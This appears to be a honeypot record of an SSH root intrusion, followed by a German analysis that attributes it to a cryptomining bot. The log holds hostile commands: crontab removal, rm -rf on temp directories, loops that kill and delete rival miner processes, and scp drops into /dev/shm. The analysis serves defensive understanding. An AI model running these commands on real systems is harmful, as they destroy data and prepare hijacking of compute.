13.11.2026, 09:08 UTC · 964 Befehle · über ssh · Frankreich · 2× wiederholt
user='root' pass='**********' root@srv01:~$ uname -s -v -n -r -m Linux gpu01 5.15.0-88-generic #52-Ubuntu SMP Thu Sep 14 10:24:08 UTC 2023 x86_64 root@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' 261 days, 00:00 root@srv01:~$ lspci | egrep VGA && lspci | grep 3D 01:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 02:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 03:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 04:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 01:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 02:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 03:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 04:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) root@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- AMD EPYC 7443P 24-Core Processor root@srv01:~$ curl ipinfo.io/org Cloudflare, Inc. root@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 4 root@srv01:~$ nvidia-smi -q | grep "Product Name" Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 root@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 root@srv01:~$ uname -r | awk '{printf $1}' 5.15.0-88-generic root@srv01:~$ crontab -r crontab: installing new crontab root@srv01:~$ rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* rm: cannot remove '/tmp/.ICE-unix': Permission denied rm: cannot remove '/tmp/.X11-unix': Permission denied rm: cannot remove '/tmp/.XIM-unix': Permission denied root@srv01:~$ ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid bash: syntax error near unexpected token `do' root@srv01:~$ do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null bash: syntax error near unexpected token `readlink' root@srv01:~$ kill -9 $pid 2>/dev/null bash: pid: unbound variable root@srv01:~$ done bash: syntax error near unexpected token `done' root@srv01:~$ ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid bash: syntax error near unexpected token `do' root@srv01:~$ do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null bash: syntax error near unexpected token `readlink' root@srv01:~$ kill -9 $pid 2>/dev/null bash: pid: unbound variable root@srv01:~$ done bash: syntax error near unexpected token `done' root@srv01:~$ pidof cache | while read pid bash: pidof: command not found root@srv01:~$ do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null bash: syntax error near unexpected token `readlink' root@srv01:~$ kill -9 $pid 2>/dev/null bash: pid: unbound variable root@srv01:~$ done bash: syntax error near unexpected token `done' root@srv01:~$ for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done bash: syntax error near unexpected token `do' root@srv01:~$ pkill -9 $proc 2>/dev/null root@srv01:~$ done root@srv01:~$ rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null root@srv01:~$ scp -qt "/var/tmp/ABszZSKW" root@srv01:~$ scp -qt "/tmp/ABszZSKW" root@srv01:~$ scp -qt "/dev/shm/ABszZSKW" root@srv01:~$ uname -s -v -n -r -m Linux gpu01 5.15.0-88-generic #52-Ubuntu SMP Thu Sep 14 10:24:08 UTC 2023 x86_64 root@srv01:~$ uname -n | awk '{printf $1}' gpu01 root@srv01:~$ uname -s -v -n -r -m Linux gpu01 5.15.0-88-generic #52-Ubuntu SMP Thu Sep 14 10:24:08 UTC 2023 x86_64 root@srv01:~$ uname -s -v -n -r -m Linux gpu01 5.15.0-88-generic #52-Ubuntu SMP Thu Sep 14 10:24:08 UTC 2023 x86_64 root@srv01:~$ uname -s -v -n -r -m Linux gpu01 5.15.0-88-generic #52-Ubuntu SMP Thu Sep 14 10:24:08 UTC 2023 x86_64 root@srv01:~$ echo user > /tmp/d.log root@srv01:~$ scp -qt "/var/tmp/tIFIwohz" root@srv01:~$ scp -qt "/tmp/tIFIwohz" root@srv01:~$ scp -qt "/dev/shm/tIFIwohz"
Der Angreifer meldete sich über SSH mit Root-Rechten an und führte eine Reihe von Befehlen zur Systemerkennung aus. Dabei prüfte er die Hardware, insbesondere auf vorhandene Grafikkarten, und löschte temporäre Dateien sowie laufende Prozesse mit hoher CPU-Auslastung. Anschließend wurden mehrere Verzeichnisse im Speicher und auf der Festplatte für die Ablage von Dateien vorbereitet.
Die Befehle uname und lscpu dienen der Abfrage von Kernel-Informationen und CPU-Modellen zur Kompatibilitätsprüfung. Mit lspci und nvidia-smi wird geprüft, ob NVIDIA-Grafikkarten vorhanden sind, da diese für das Mining von Kryptowährungen effizienter sind als CPUs. Die Befehle crontab -r und rm -rf löschen geplante Aufgaben und temporäre Dateien, um Spuren zu verwischen und Platz zu schaffen. Die komplexen ps-Auswertungen identifizieren Prozesse mit hoher CPU-Auslastung, die nicht sshd sind, und beenden diese gewaltsam, um Ressourcen für den eigenen Miner freizumachen. Schließlich werden mit scp Dateien in die Verzeichnisse /var/tmp, /tmp und /dev/shm kopiert, wobei /dev/shm ein schneller, flüchtiger Speicher ist, der oft für die Ablage von Malware genutzt wird.
Das Ziel ist höchstwahrscheinlich Kryptomining, da der Angreifer gezielt nach NVIDIA-Grafikkarten suchte und bekannte Mining-Software wie xmrig oder cpuminer entfernte. Die Vorbereitung von Verzeichnissen wie /dev/shm dient der Ablage von Mining-Binaries, um sie vor Entdeckung zu schützen. Es handelt sich um einen klassischen Versuch, Rechenleistung für die Erzeugung von Kryptowährungen zu missbrauchen.
Dieses Vorgehen ist sehr verbreitet und folgt einem bekannten Muster für automatisierte Mining-Bots, die auf kompromittierten Servern nach GPU-Ressourcen suchen.